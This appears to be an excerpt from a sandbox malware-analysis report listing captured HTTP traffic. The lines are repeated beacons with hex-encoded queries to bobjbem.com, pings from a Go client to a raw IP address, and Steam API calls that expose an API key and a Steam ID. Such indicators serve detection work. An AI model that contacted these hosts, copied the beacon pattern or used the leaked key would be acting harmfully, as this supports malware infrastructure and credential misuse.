Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /api/v1/checker/ping HTTP/1.1Host: 92.53.64.209:27282User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /api/v1/checker/ping HTTP/1.1Host: 92.53.64.209:27282User-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /IPlayerService/GetSteamLevel/v1/?key=51DA979B9FB5A21B42737CF7DFF0E4D4&steamid=76561198020534850 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36host: api.steampowered.comaccept-encoding: gzip, deflateConnection: close
Source: global traffic	HTTP traffic detected: GET /IPlayerService/GetSteamLevel/v1/?key=51DA979B9FB5A21B42737CF7DFF0E4D4&steamid=76561198020534850 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36host: api.steampowered.comaccept-encoding: gzip, deflateConnection: close
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1Host: bobjbem.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
